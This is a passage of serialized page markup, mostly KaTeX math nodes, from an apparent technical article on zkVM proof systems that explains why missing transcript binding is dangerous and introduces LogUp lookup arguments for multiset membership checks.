856,"props":109981,"children":109982},{"d":109858},[],{"type":23,"tag":481,"props":109984,"children":109986},{"className":109985},[1739,1605],[109987],{"type":28,"value":19193},{"type":23,"tag":481,"props":109989,"children":109991},{"className":109990},[19215,1605],[109992],{"type":28,"value":74150},{"type":23,"tag":481,"props":109994,"children":109996},{"className":109995},[1555,1605],[109997],{"type":28,"value":1568},{"type":23,"tag":481,"props":109999,"children":110001},{"className":110000},[1668,1605],[110002],{"type":28,"value":1671},{"type":23,"tag":481,"props":110004,"children":110006},{"className":110005},[1555,1605],[110007],{"type":28,"value":1558},{"type":23,"tag":481,"props":110009,"children":110011},{"className":110010},[19237,1605],[110012,110017],{"type":23,"tag":481,"props":110013,"children":110015},{"className":110014},[19237,1605],[110016],{"type":28,"value":31657},{"type":23,"tag":481,"props":110018,"children":110020},{"className":110019},[1572],[110021],{"type":23,"tag":481,"props":110022,"children":110024},{"className":110023},[1577],[110025],{"type":23,"tag":481,"props":110026,"children":110028},{"className":110027},[1582],[110029],{"type":23,"tag":481,"props":110030,"children":110033},{"className":110031,"style":110032},[1587],"height:0.5935em;",[110034],{"type":23,"tag":481,"props":110035,"children":110037},{"style":110036},"top:-2.786em;margin-right:0.0714em;",[110038,110042],{"type":23,"tag":481,"props":110039,"children":110041},{"className":110040,"style":106439},[1596],[],{"type":23,"tag":481,"props":110043,"children":110045},{"className":110044},[1602,106444,106445,1605],[110046],{"type":23,"tag":481,"props":110047,"children":110049},{"className":110048},[1555,19086,1605],[110050],{"type":28,"value":53930},{"type":23,"tag":481,"props":110052,"children":110054},{"className":110053},[19243],[110055],{"type":28,"value":19246},{"type":23,"tag":481,"props":110057,"children":110059},{"className":110058},[1582],[110060],{"type":23,"tag":481,"props":110061,"children":110064},{"className":110062,"style":110063},[1587],"height:0.5144em;",[110065],{"type":23,"tag":481,"props":110066,"children":110067},{},[],{"type":23,"tag":481,"props":110069,"children":110071},{"className":110070,"style":1675},[1636],[],{"type":23,"tag":481,"props":110073,"children":110075},{"className":110074,"style":92933},[1555,19086],[110076],{"type":28,"value":30601},{"type":23,"tag":481,"props":110078,"children":110080},{"className":110079},[19215],[110081],{"type":28,"value":618},{"type":23,"tag":481,"props":110083,"children":110085},{"className":110084},[1555,109728],[110086],{"type":23,"tag":481,"props":110087,"children":110089},{"className":110088},[1577],[110090],{"type":23,"tag":481,"props":110091,"children":110093},{"className":110092},[1582],[110094],{"type":23,"tag":481,"props":110095,"children":110097},{"className":110096,"style":109944},[1587],[110098,110110],{"type":23,"tag":481,"props":110099,"children":110100},{"style":109745},[110101,110105],{"type":23,"tag":481,"props":110102,"children":110104},{"className":110103,"style":109750},[1596],[],{"type":23,"tag":481,"props":110106,"children":110108},{"className":110107},[1555,19086],[110109],{"type":28,"value":739},{"type":23,"tag":481,"props":110111,"children":110113},{"style":110112},"top:-3.2634em;",[110114,110118],{"type":23,"tag":481,"props":110115,"children":110117},{"className":110116,"style":109750},[1596],[],{"type":23,"tag":481,"props":110119,"children":110121},{"className":110120,"style":109971},[109768],[110122],{"type":23,"tag":481,"props":110123,"children":110125},{"className":110124,"style":109844},[109843],[110126],{"type":23,"tag":31790,"props":110127,"children":110128},{"xmlns":109848,"width":109849,"height":109850,"style":109851,"viewBox":109852,"preserveAspectRatio":109853},[110129],{"type":23,"tag":109856,"props":110130,"children":110131},{"d":109858},[],{"type":23,"tag":481,"props":110133,"children":110135},{"className":110134},[19237],[110136],{"type":28,"value":642},{"type":23,"tag":481,"props":110138,"children":110140},{"className":110139,"style":1637},[1636],[],{"type":23,"tag":481,"props":110142,"children":110144},{"className":110143},[1642],[110145],{"type":28,"value":108841},{"type":23,"tag":481,"props":110147,"children":110149},{"className":110148,"style":1637},[1636],[],{"type":23,"tag":481,"props":110151,"children":110153},{"className":110152},[1544],[110154,110159,110169,110174,110223,110228,110232,110281],{"type":23,"tag":481,"props":110155,"children":110158},{"className":110156,"style":110157},[1549],"height:1.2274em;vertical-align:-0.25em;",[],{"type":23,"tag":481,"props":110160,"children":110162},{"className":110161},[1555,28],[110163],{"type":23,"tag":481,"props":110164,"children":110166},{"className":110165},[1555],[110167],{"type":28,"value":110168},"eq",{"type":23,"tag":481,"props":110170,"children":110172},{"className":110171},[19215],[110173],{"type":28,"value":618},{"type":23,"tag":481,"props":110175,"children":110177},{"className":110176},[1555,109728],[110178],{"type":23,"tag":481,"props":110179,"children":110181},{"className":110180},[1577],[110182],{"type":23,"tag":481,"props":110183,"children":110185},{"className":110184},[1582],[110186],{"type":23,"tag":481,"props":110187,"children":110189},{"className":110188,"style":109944},[1587],[110190,110202],{"type":23,"tag":481,"props":110191,"children":110192},{"style":109745},[110193,110197],{"type":23,"tag":481,"props":110194,"children":110196},{"className":110195,"style":109750},[1596],[],{"type":23,"tag":481,"props":110198,"children":110200},{"className":110199},[1555,19086],[110201],{"type":28,"value":739},{"type":23,"tag":481,"props":110203,"children":110204},{"style":110112},[110205,110209],{"type":23,"tag":481,"props":110206,"children":110208},{"className":110207,"style":109750},[1596],[],{"type":23,"tag":481,"props":110210,"children":110212},{"className":110211,"style":109971},[109768],[110213],{"type":23,"tag":481,"props":110214,"children":110216},{"className":110215,"style":109844},[109843],[110217],{"type":23,"tag":31790,"props":110218,"children":110219},{"xmlns":109848,"width":109849,"height":109850,"style":109851,"viewBox":109852,"preserveAspectRatio":109853},[110220],{"type":23,"tag":109856,"props":110221,"children":110222},{"d":109858},[],{"type":23,"tag":481,"props":110224,"children":110226},{"className":110225},[1668],[110227],{"type":28,"value":1671},{"type":23,"tag":481,"props":110229,"children":110231},{"className":110230,"style":1675},[1636],[],{"type":23,"tag":481,"props":110233,"children":110235},{"className":110234},[1555,109728],[110236],{"type":23,"tag":481,"props":110237,"children":110239},{"className":110238},[1577],[110240],{"type":23,"tag":481,"props":110241,"children":110243},{"className":110242},[1582],[110244],{"type":23,"tag":481,"props":110245,"children":110247},{"className":110246,"style":109814},[1587],[110248,110260],{"type":23,"tag":481,"props":110249,"children":110250},{"style":109745},[110251,110255],{"type":23,"tag":481,"props":110252,"children":110254},{"className":110253,"style":109750},[1596],[],{"type":23,"tag":481,"props":110256,"children":110258},{"className":110257,"style":90579},[1555,19086],[110259],{"type":28,"value":91398},{"type":23,"tag":481,"props":110261,"children":110262},{"style":109745},[110263,110267],{"type":23,"tag":481,"props":110264,"children":110266},{"className":110265,"style":109750},[1596],[],{"type":23,"tag":481,"props":110268,"children":110270},{"className":110269,"style":109838},[109768],[110271],{"type":23,"tag":481,"props":110272,"children":110274},{"className":110273,"style":109844},[109843],[110275],{"type":23,"tag":31790,"props":110276,"children":110277},{"xmlns":109848,"width":109849,"height":109850,"style":109851,"viewBox":109852,"preserveAspectRatio":109853},[110278],{"type":23,"tag":109856,"props":110279,"children":110280},{"d":109858},[],{"type":23,"tag":481,"props":110282,"children":110284},{"className":110283},[19237],[110285],{"type":28,"value":642},{"type":23,"tag":24,"props":110287,"children":110288},{},[110289,110291,110360,110362,110508,110510,110649,110651,110735],{"type":28,"value":110290},"At a fixed challenge point ",{"type":23,"tag":64,"props":110292,"children":110294},{"className":110293},[1527,1528],[110295],{"type":23,"tag":481,"props":110296,"children":110298},{"className":110297},[1533],[110299],{"type":23,"tag":481,"props":110300,"children":110302},{"className":110301,"ariaHidden":1539},[1538],[110303],{"type":23,"tag":481,"props":110304,"children":110306},{"className":110305},[1544],[110307,110311],{"type":23,"tag":481,"props":110308,"children":110310},{"className":110309,"style":109814},[1549],[],{"type":23,"tag":481,"props":110312,"children":110314},{"className":110313},[1555,109728],[110315],{"type":23,"tag":481,"props":110316,"children":110318},{"className":110317},[1577],[110319],{"type":23,"tag":481,"props":110320,"children":110322},{"className":110321},[1582],[110323],{"type":23,"tag":481,"props":110324,"children":110326},{"className":110325,"style":109814},[1587],[110327,110339],{"type":23,"tag":481,"props":110328,"children":110329},{"style":109745},[110330,110334],{"type":23,"tag":481,"props":110331,"children":110333},{"className":110332,"style":109750},[1596],[],{"type":23,"tag":481,"props":110335,"children":110337},{"className":110336,"style":90579},[1555,19086],[110338],{"type":28,"value":91398},{"type":23,"tag":481,"props":110340,"children":110341},{"style":109745},[110342,110346],{"type":23,"tag":481,"props":110343,"children":110345},{"className":110344,"style":109750},[1596],[],{"type":23,"tag":481,"props":110347,"children":110349},{"className":110348,"style":109838},[109768],[110350],{"type":23,"tag":481,"props":110351,"children":110353},{"className":110352,"style":109844},[109843],[110354],{"type":23,"tag":31790,"props":110355,"children":110356},{"xmlns":109848,"width":109849,"height":109850,"style":109851,"viewBox":109852,"preserveAspectRatio":109853},[110357],{"type":23,"tag":109856,"props":110358,"children":110359},{"d":109858},[],{"type":28,"value":110361},", the coefficients ",{"type":23,"tag":64,"props":110363,"children":110365},{"className":110364},[1527,1528],[110366],{"type":23,"tag":481,"props":110367,"children":110369},{"className":110368},[1533],[110370],{"type":23,"tag":481,"props":110371,"children":110373},{"className":110372,"ariaHidden":1539},[1538],[110374],{"type":23,"tag":481,"props":110375,"children":110377},{"className":110376},[1544],[110378,110382,110391,110396,110445,110450,110454,110503],{"type":23,"tag":481,"props":110379,"children":110381},{"className":110380,"style":110157},[1549],[],{"type":23,"tag":481,"props":110383,"children":110385},{"className":110384},[1555,28],[110386],{"type":23,"tag":481,"props":110387,"children":110389},{"className":110388},[1555],[110390],{"type":28,"value":110168},{"type":23,"tag":481,"props":110392,"children":110394},{"className":110393},[19215],[110395],{"type":28,"value":618},{"type":23,"tag":481,"props":110397,"children":110399},{"className":110398},[1555,109728],[110400],{"type":23,"tag":481,"props":110401,"children":110403},{"className":110402},[1577],[110404],{"type":23,"tag":481,"props":110405,"children":110407},{"className":110406},[1582],[110408],{"type":23,"tag":481,"props":110409,"children":110411},{"className":110410,"style":109944},[1587],[110412,110424],{"type":23,"tag":481,"props":110413,"children":110414},{"style":109745},[110415,110419],{"type":23,"tag":481,"props":110416,"children":110418},{"className":110417,"style":109750},[1596],[],{"type":23,"tag":481,"props":110420,"children":110422},{"className":110421},[1555,19086],[110423],{"type":28,"value":739},{"type":23,"tag":481,"props":110425,"children":110426},{"style":110112},[110427,110431],{"type":23,"tag":481,"props":110428,"children":110430},{"className":110429,"style":109750},[1596],[],{"type":23,"tag":481,"props":110432,"children":110434},{"className":110433,"style":109971},[109768],[110435],{"type":23,"tag":481,"props":110436,"children":110438},{"className":110437,"style":109844},[109843],[110439],{"type":23,"tag":31790,"props":110440,"children":110441},{"xmlns":109848,"width":109849,"height":109850,"style":109851,"viewBox":109852,"preserveAspectRatio":109853},[110442],{"type":23,"tag":109856,"props":110443,"children":110444},{"d":109858},[],{"type":23,"tag":481,"props":110446,"children":110448},{"className":110447},[1668],[110449],{"type":28,"value":1671},{"type":23,"tag":481,"props":110451,"children":110453},{"className":110452,"style":1675},[1636],[],{"type":23,"tag":481,"props":110455,"children":110457},{"className":110456},[1555,109728],[110458],{"type":23,"tag":481,"props":110459,"children":110461},{"className":110460},[1577],[110462],{"type":23,"tag":481,"props":110463,"children":110465},{"className":110464},[1582],[110466],{"type":23,"tag":481,"props":110467,"children":110469},{"className":110468,"style":109814},[1587],[110470,110482],{"type":23,"tag":481,"props":110471,"children":110472},{"style":109745},[110473,110477],{"type":23,"tag":481,"props":110474,"children":110476},{"className":110475,"style":109750},[1596],[],{"type":23,"tag":481,"props":110478,"children":110480},{"className":110479,"style":90579},[1555,19086],[110481],{"type":28,"value":91398},{"type":23,"tag":481,"props":110483,"children":110484},{"style":109745},[110485,110489],{"type":23,"tag":481,"props":110486,"children":110488},{"className":110487,"style":109750},[1596],[],{"type":23,"tag":481,"props":110490,"children":110492},{"className":110491,"style":109838},[109768],[110493],{"type":23,"tag":481,"props":110494,"children":110496},{"className":110495,"style":109844},[109843],[110497],{"type":23,"tag":31790,"props":110498,"children":110499},{"xmlns":109848,"width":109849,"height":109850,"style":109851,"viewBox":109852,"preserveAspectRatio":109853},[110500],{"type":23,"tag":109856,"props":110501,"children":110502},{"d":109858},[],{"type":23,"tag":481,"props":110504,"children":110506},{"className":110505},[19237],[110507],{"type":28,"value":642},{"type":28,"value":110509}," are constants, so ",{"type":23,"tag":64,"props":110511,"children":110513},{"className":110512},[1527,1528],[110514],{"type":23,"tag":481,"props":110515,"children":110517},{"className":110516},[1533],[110518],{"type":23,"tag":481,"props":110519,"children":110521},{"className":110520,"ariaHidden":1539},[1538],[110522],{"type":23,"tag":481,"props":110523,"children":110525},{"className":110524},[1544],[110526,110530,110590,110595,110644],{"type":23,"tag":481,"props":110527,"children":110529},{"className":110528,"style":109723},[1549],[],{"type":23,"tag":481,"props":110531,"children":110533},{"className":110532},[1555,109728],[110534],{"type":23,"tag":481,"props":110535,"children":110537},{"className":110536},[1577,19140],[110538,110579],{"type":23,"tag":481,"props":110539,"children":110541},{"className":110540},[1582],[110542,110574],{"type":23,"tag":481,"props":110543,"children":110545},{"className":110544,"style":109741},[1587],[110546,110558],{"type":23,"tag":481,"props":110547,"children":110548},{"style":109745},[110549,110553],{"type":23,"tag":481,"props":110550,"children":110552},{"className":110551,"style":109750},[1596],[],{"type":23,"tag":481,"props":110554,"children":110556},{"className":110555,"style":92933},[1555,19086],[110557],{"type":28,"value":30601},{"type":23,"tag":481,"props":110559,"children":110560},{"style":109759},[110561,110565],{"type":23,"tag":481,"props":110562,"children":110564},{"className":110563,"style":109750},[1596],[],{"type":23,"tag":481,"props":110566,"children":110568},{"className":110567,"style":109769},[109768],[110569],{"type":23,"tag":481,"props":110570,"children":110572},{"className":110571},[1555],[110573],{"type":28,"value":109776},{"type":23,"tag":481,"props":110575,"children":110577},{"className":110576},[19243],[110578],{"type":28,"value":19246},{"type":23,"tag":481,"props":110580,"children":110582},{"className":110581},[1582],[110583],{"type":23,"tag":481,"props":110584,"children":110586},{"className":110585,"style":109789},[1587],[110587],{"type":23,"tag":481,"props":110588,"children":110589},{},[],{"type":23,"tag":481,"props":110591,"children":110593},{"className":110592},[19215],[110594],{"type":28,"value":618},{"type":23,"tag":481,"props":110596,"children":110598},{"className":110597},[1555,109728],[110599],{"type":23,"tag":481,"props":110600,"children":110602},{"className":110601},[1577],[110603],{"type":23,"tag":481,"props":110604,"children":110606},{"className":110605},[1582],[110607],{"type":23,"tag":481,"props":110608,"children":110610},{"className":110609,"style":109814},[1587],[110611,110623],{"type":23,"tag":481,"props":110612,"children":110613},{"style":109745},[110614,110618],{"type":23,"tag":481,"props":110615,"children":110617},{"className":110616,"style":109750},[1596],[],{"type":23,"tag":481,"props":110619,"children":110621},{"className":110620,"style":90579},[1555,19086],[110622],{"type":28,"value":91398},{"type":23,"tag":481,"props":110624,"children":110625},{"style":109745},[110626,110630],{"type":23,"tag":481,"props":110627,"children":110629},{"className":110628,"style":109750},[1596],[],{"type":23,"tag":481,"props":110631,"children":110633},{"className":110632,"style":109838},[109768],[110634],{"type":23,"tag":481,"props":110635,"children":110637},{"className":110636,"style":109844},[109843],[110638],{"type":23,"tag":31790,"props":110639,"children":110640},{"xmlns":109848,"width":109849,"height":109850,"style":109851,"viewBox":109852,"preserveAspectRatio":109853},[110641],{"type":23,"tag":109856,"props":110642,"children":110643},{"d":109858},[],{"type":23,"tag":481,"props":110645,"children":110647},{"className":110646},[19237],[110648],{"type":28,"value":642},{"type":28,"value":110650}," is linear in the table values ",{"type":23,"tag":64,"props":110652,"children":110654},{"className":110653},[1527,1528],[110655],{"type":23,"tag":481,"props":110656,"children":110658},{"className":110657},[1533],[110659],{"type":23,"tag":481,"props":110660,"children":110662},{"className":110661,"ariaHidden":1539},[1538],[110663],{"type":23,"tag":481,"props":110664,"children":110666},{"className":110665},[1544],[110667,110671,110676,110681,110730],{"type":23,"tag":481,"props":110668,"children":110670},{"className":110669,"style":110157},[1549],[],{"type":23,"tag":481,"props":110672,"children":110674},{"className":110673,"style":92933},[1555,19086],[110675],{"type":28,"value":30601},{"type":23,"tag":481,"props":110677,"children":110679},{"className":110678},[19215],[110680],{"type":28,"value":618},{"type":23,"tag":481,"props":110682,"children":110684},{"className":110683},[1555,109728],[110685],{"type":23,"tag":481,"props":110686,"children":110688},{"className":110687},[1577],[110689],{"type":23,"tag":481,"props":110690,"children":110692},{"className":110691},[1582],[110693],{"type":23,"tag":481,"props":110694,"children":110696},{"className":110695,"style":109944},[1587],[110697,110709],{"type":23,"tag":481,"props":110698,"children":110699},{"style":109745},[110700,110704],{"type":23,"tag":481,"props":110701,"children":110703},{"className":110702,"style":109750},[1596],[],{"type":23,"tag":481,"props":110705,"children":110707},{"className":110706},[1555,19086],[110708],{"type":28,"value":739},{"type":23,"tag":481,"props":110710,"children":110711},{"style":110112},[110712,110716],{"type":23,"tag":481,"props":110713,"children":110715},{"className":110714,"style":109750},[1596],[],{"type":23,"tag":481,"props":110717,"children":110719},{"className":110718,"style":109971},[109768],[110720],{"type":23,"tag":481,"props":110721,"children":110723},{"className":110722,"style":109844},[109843],[110724],{"type":23,"tag":31790,"props":110725,"children":110726},{"xmlns":109848,"width":109849,"height":109850,"style":109851,"viewBox":109852,"preserveAspectRatio":109853},[110727],{"type":23,"tag":109856,"props":110728,"children":110729},{"d":109858},[],{"type":23,"tag":481,"props":110731,"children":110733},{"className":110732},[19237],[110734],{"type":28,"value":642},{"type":28,"value":199},{"type":23,"tag":24,"props":110737,"children":110738},{},[110739,110741,110810],{"type":28,"value":110740},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":23,"tag":64,"props":110742,"children":110744},{"className":110743},[1527,1528],[110745],{"type":23,"tag":481,"props":110746,"children":110748},{"className":110747},[1533],[110749],{"type":23,"tag":481,"props":110750,"children":110752},{"className":110751,"ariaHidden":1539},[1538],[110753],{"type":23,"tag":481,"props":110754,"children":110756},{"className":110755},[1544],[110757,110761],{"type":23,"tag":481,"props":110758,"children":110760},{"className":110759,"style":109814},[1549],[],{"type":23,"tag":481,"props":110762,"children":110764},{"className":110763},[1555,109728],[110765],{"type":23,"tag":481,"props":110766,"children":110768},{"className":110767},[1577],[110769],{"type":23,"tag":481,"props":110770,"children":110772},{"className":110771},[1582],[110773],{"type":23,"tag":481,"props":110774,"children":110776},{"className":110775,"style":109814},[1587],[110777,110789],{"type":23,"tag":481,"props":110778,"children":110779},{"style":109745},[110780,110784],{"type":23,"tag":481,"props":110781,"children":110783},{"className":110782,"style":109750},[1596],[],{"type":23,"tag":481,"props":110785,"children":110787},{"className":110786,"style":90579},[1555,19086],[110788],{"type":28,"value":91398},{"type":23,"tag":481,"props":110790,"children":110791},{"style":109745},[110792,110796],{"type":23,"tag":481,"props":110793,"children":110795},{"className":110794,"style":109750},[1596],[],{"type":23,"tag":481,"props":110797,"children":110799},{"className":110798,"style":109838},[109768],[110800],{"type":23,"tag":481,"props":110801,"children":110803},{"className":110802,"style":109844},[109843],[110804],{"type":23,"tag":31790,"props":110805,"children":110806},{"xmlns":109848,"width":109849,"height":109850,"style":109851,"viewBox":109852,"preserveAspectRatio":109853},[110807],{"type":23,"tag":109856,"props":110808,"children":110809},{"d":109858},[],{"type":28,"value":110811}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":23,"tag":7092,"props":110813,"children":110815},{"id":110814},"lookup-arguments-logup",[110816],{"type":28,"value":110817},"Lookup Arguments (LogUp)",{"type":23,"tag":24,"props":110819,"children":110820},{},[110821],{"type":28,"value":110822},"zkVMs need to check that values satisfy certain properties. For example:",{"type":23,"tag":14178,"props":110824,"children":110825},{},[110826,110882,110887],{"type":23,"tag":77,"props":110827,"children":110828},{},[110829,110831,110881],{"type":28,"value":110830},"Is this byte in range ",{"type":23,"tag":64,"props":110832,"children":110834},{"className":110833},[1527,1528],[110835],{"type":23,"tag":481,"props":110836,"children":110838},{"className":110837},[1533],[110839],{"type":23,"tag":481,"props":110840,"children":110842},{"className":110841,"ariaHidden":1539},[1538],[110843],{"type":23,"tag":481,"props":110844,"children":110846},{"className":110845},[1544],[110847,110851,110856,110861,110866,110870,110876],{"type":23,"tag":481,"props":110848,"children":110850},{"className":110849,"style":1657},[1549],[],{"type":23,"tag":481,"props":110852,"children":110854},{"className":110853},[19215],[110855],{"type":28,"value":1269},{"type":23,"tag":481,"props":110857,"children":110859},{"className":110858},[1555],[110860],{"type":28,"value":1568},{"type":23,"tag":481,"props":110862,"children":110864},{"className":110863},[1668],[110865],{"type":28,"value":1671},{"type":23,"tag":481,"props":110867,"children":110869},{"className":110868,"style":1675},[1636],[],{"type":23,"tag":481,"props":110871,"children":110873},{"className":110872},[1555],[110874],{"type":28,"value":110875},"255",{"type":23,"tag":481,"props":110877,"children":110879},{"className":110878},[19237],[110880],{"type":28,"value":12900},{"type":28,"value":670},{"type":23,"tag":77,"props":110883,"children":110884},{},[110885],{"type":28,"value":110886},"Does this opcode decode correctly?",{"type":23,"tag":77,"props":110888,"children":110889},{},[110890],{"type":28,"value":110891},"Is this memory access consistent with previous accesses?",{"type":23,"tag":24,"props":110893,"children":110894},{},[110895,110900],{"type":23,"tag":2875,"props":110896,"children":110897},{},[110898],{"type":28,"value":110899},"The naive approach:",{"type":28,"value":110901}," Add constraints for each check. Expensive.",{"type":23,"tag":24,"props":110903,"children":110904},{},[110905,110910,110912,110917],{"type":23,"tag":2875,"props":110906,"children":110907},{},[110908],{"type":28,"value":110909},"The clever approach:",{"type":28,"value":110911}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":23,"tag":2875,"props":110913,"children":110914},{},[110915],{"type":28,"value":110916},"multiset membership",{"type":28,"value":65325},{"type":23,"tag":24,"props":110919,"children":110920},{},[110921,110926],{"type":23,"tag":2875,"props":110922,"children":110923},{},[110924],{"type":28,"value":110925},"LogUp (Logarithmic Derivative):",{"type":28,"value":110927}," Encode multiset membership as a sum of fractions.",{"type":23,"tag":24,"props":110929,"children":110930},{},[110931,110933,110958,110960,110987],{"type":28,"value":110932},"If set ",{"type":23,"tag":64,"props":110934,"children":110936},{"className":110935},[1527,1528],[110937],{"type":23,"tag":481,"props":110938,"children":110940},{"className":110939},[1533],[110941],{"type":23,"tag":481,"props":110942,"children":110944},{"className":110943,"ariaHidden":1539},[1538],[110945],{"type":23,"tag":481,"props":110946,"children":110948},{"className":110947},[1544],[110949,110953],{"type":23,"tag":481,"props":110950,"children":110952},{"className":110951,"style":19081},[1549],[],{"type":23,"tag":481,"props":110954,"children":110956},{"className":110955},[1555,19086],[110957],{"type":28,"value":74299},{"type":28,"value":110959}," should equal set ",{"type":23,"tag":64,"props":110961,"children":110963},{"className":110962},[1527,1528],[110964],{"type":23,"tag":481,"props":110965,"children":110967},{"className":110966},[1533],[110968],{"type":23,"tag":481,"props":110969,"children":110971},{"className":110970,"ariaHidden":1539},[1538],[110972],{"type":23,"tag":481,"props":110973,"children":110975},{"className":110974},[1544],[110976,110980],{"type":23,"tag":481,"props":110977,"children":110979},{"className":110978,"style":19081},[1549],[],{"type":23,"tag":481,"props":110981,"children":110984},{"className":110982,"style":110983},[1555,19086],"margin-right:0.05017em;",[110985],{"type":28,"value":110986},"B",{"type":28,"value":110988}," as multisets:",{"type":23,"tag":24,"props":110990,"children":110991},{},[110992],{"type":23,"tag":64,"props":110993,"children":110995},{"className":110994},[1527,1528],[110996],{"type":23,"tag":481,"props":110997,"children":110999},{"className":110998},[1533],[111000],{"type":23,"tag":481,"props":111001,"children":111003},{"className":111002,"ariaHidden":1539},[1538],[111004,111219],{"type":23,"tag":481,"props":111005,"children":111007},{"className":111006},[1544],[111008,111013,111086,111090,111206,111210,111215],{"type":23,"tag":481,"props":111009,"children":111012},{"className":111010,"style":111011},[1549],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":23,"tag":481,"props":111014,"children":111016},{"className":111015},[19122],[111017,111022],{"type":23,"tag":481,"props":111018,"children":111020},{"className":111019,"style":19129},[19122,19127,19128],[111021],{"type":28,"value":106374},{"type":23,"tag":481,"props":111023,"children":111025},{"className":111024},[1572],[111026],{"type":23,"tag":481,"props":111027,"children":111029},{"className":111028},[1577,19140],[111030,111074],{"type":23,"tag":481,"props":111031,"children":111033},{"className":111032},[1582],[111034,111069],{"type":23,"tag":481,"props":111035,"children":111038},{"className":111036,"style":111037},[1587],"height:0.1786em;",[111039],{"type":23,"tag":481,"props":111040,"children":111041},{"style":19153},[111042,111046],{"type":23,"tag":481,"props":111043,"children":111045},{"className":111044,"style":1597},[1596],[],{"type":23,"tag":481,"props":111047,"children":111049},{"className":111048},[1602,1603,1604,1605],[111050],{"type":23,"tag":481,"props":111051,"children":111053},{"className":111052},[1555,1605],[111054,111059,111064],{"type":23,"tag":481,"props":111055,"children":111057},{"className":111056},[1555,19086,1605],[111058],{"type":28,"value":190},{"type":23,"tag":481,"props":111060,"children":111062},{"className":111061},[1739,1605],[111063],{"type":28,"value":19193},{"type":23,"tag":481,"props":111065,"children":111067},{"className":111066},[1555,19086,1605],[111068],{"type":28,"value":74299},{"type":23,"tag":481,"props":111070,"children":111072},{"className":111071},[19243],[111073],{"type":28,"value":19246},{"type":23,"tag":481,"props":111075,"children":111077},{"className":111076},[1582],[111078],{"type":23,"tag":481,"props":111079,"children":111082},{"className":111080,"style":111081},[1587],"height:0.3271em;",[111083],{"type":23,"tag":481,"props":111084,"children":111085},{},[],{"type":23,"tag":481,"props":111087,"children":111089},{"className":111088,"style":1675},[1636],[],{"type":23,"tag":481,"props":111091,"children":111093},{"className":111092},[1555],[111094,111099,111202],{"type":23,"tag":481,"props":111095,"children":111098},{"className":111096},[19215,111097],"nulldelimiter",[],{"type":23,"tag":481,"props":111100,"children":111103},{"className":111101},[111102],"mfrac",[111104],{"type":23,"tag":481,"props":111105,"children":111107},{"className":111106},[1577,19140],[111108,111190],{"type":23,"tag":481,"props":111109,"children":111111},{"className":111110},[1582],[111112,111185],{"type":23,"tag":481,"props":111113,"children":111116},{"className":111114,"style":111115},[1587],"height:0.8451em;",[111117,111150,111164],{"type":23,"tag":481,"props":111118,"children":111120},{"style":111119},"top:-2.655em;",[111121,111125],{"type":23,"tag":481,"props":111122,"children":111124},{"className":111123,"style":109750},[1596],[],{"type":23,"tag":481,"props":111126,"children":111128},{"className":111127},[1602,1603,1604,1605],[111129],{"type":23,"tag":481,"props":111130,"children":111132},{"className":111131},[1555,1605],[111133,111140,111145],{"type":23,"tag":481,"props":111134,"children":111137},{"className":111135,"style":111136},[1555,19086,1605],"margin-right:0.04398em;",[111138],{"type":28,"value":111139},"z",{"type":23,"tag":481,"props":111141,"children":111143},{"className":111142},[1642,1605],[111144],{"type":28,"value":1616},{"type":23,"tag":481,"props":111146,"children":111148},{"className":111147},[1555,19086,1605],[111149],{"type":28,"value":190},{"type":23,"tag":481,"props":111151,"children":111153},{"style":111152},"top:-3.23em;",[111154,111158],{"type":23,"tag":481,"props":111155,"children":111157},{"className":111156,"style":109750},[1596],[],{"type":23,"tag":481,"props":111159,"children":111163},{"className":111160,"style":111162},[111161],"frac-line","border-bottom-width:0.04em;",[],{"type":23,"tag":481,"props":111165,"children":111167},{"style":111166},"top:-3.394em;",[111168,111172],{"type":23,"tag":481,"props":111169,"children":111171},{"className":111170,"style":109750},[1596],[],{"type":23,"tag":481,"props":111173,"children":111175},{"className":111174},[1602,1603,1604,1605],[111176],{"type":23,"tag":481,"props":111177,"children":111179},{"className":111178},[1555,1605],[111180],{"type":23,"tag":481,"props":111181,"children":111183},{"className":111182},[1555,1605],[111184],{"type":28,"value":1558},{"type":23,"tag":481,"props":111186,"children":111188},{"className":111187},[19243],[111189],{"type":28,"value":19246},{"type":23,"tag":481,"props":111191,"children":111193},{"className":111192},[1582],[111194],{"type":23,"tag":481,"props":111195,"children":111198},{"className":111196,"style":111197},[1587],"height:0.4033em;",[111199],{"type":23,"tag":481,"props":111200,"children":111201},{},[],{"type":23,"tag":481,"props":111203,"children":111205},{"className":111204},[19237,111097],[],{"type":23,"tag":481,"props":111207,"children":111209},{"className":111208,"style":1734},[1636],[],{"type":23,"tag":481,"props":111211,"children":111213},{"className":111212},[1739],[111214],{"type":28,"value":603},{"type":23,"tag":481,"props":111216,"children":111218},{"className":111217,"style":1734},[1636],[],{"type":23,"tag":481,"props":111220,"children":111222},{"className":111221},[1544],[111223,111227,111299,111303],{"type":23,"tag":481,"props":111224,"children":111226},{"className":111225,"style":111011},[1549],[],{"type":23,"tag":481,"props":111228,"children":111230},{"className":111229},[19122],[111231,111236],{"type":23,"tag":481,"props":111232,"children":111234},{"className":111233,"style":19129},[19122,19127,19128],[111235],{"type":28,"value":106374},{"type":23,"tag":481,"props":111237,"children":111239},{"className":111238},[1572],[111240],{"type":23,"tag":481,"props":111241,"children":111243},{"className":111242},[1577,19140],[111244,111288],{"type":23,"tag":481,"props":111245,"children":111247},{"className":111246},[1582],[111248,111283],{"type":23,"tag":481,"props":111249,"children":111252},{"className":111250,"style":111251},[1587],"height:0.1864em;",[111253],{"type":23,"tag":481,"props":111254,"children":111255},{"style":19153},[111256,111260],{"type":23,"tag":481,"props":111257,"children":111259},{"className":111258,"style":1597},[1596],[],{"type":23,"tag":481,"props":111261,"children":111263},{"className":111262},[1602,1603,1604,1605],[111264],{"type":23,"tag":481,"props":111265,"children":111267},{"className":111266},[1555,1605],[111268,111273,111278],{"type":23,"tag":481,"props":111269,"children":111271},{"className":111270},[1555,19086,1605],[111272],{"type":28,"value":739},{"type":23,"tag":481,"props":111274,"children":111276},{"className":111275},[1739,1605],[111277],{"type":28,"value":19193},{"type":23,"tag":481,"props":111279,"children":111281},{"className":111280,"style":110983},[1555,19086,1605],[111282],{"type":28,"value":110986},{"type":23,"tag":481,"props":111284,"children":111286},{"className":111285},[19243],[111287],{"type":28,"value":19246},{"type":23,"tag":481,"props":111289,"children":111291},{"className":111290},[1582],[111292],{"type":23,"tag":481,"props":111293,"children":111295},{"className":111294,"style":111081}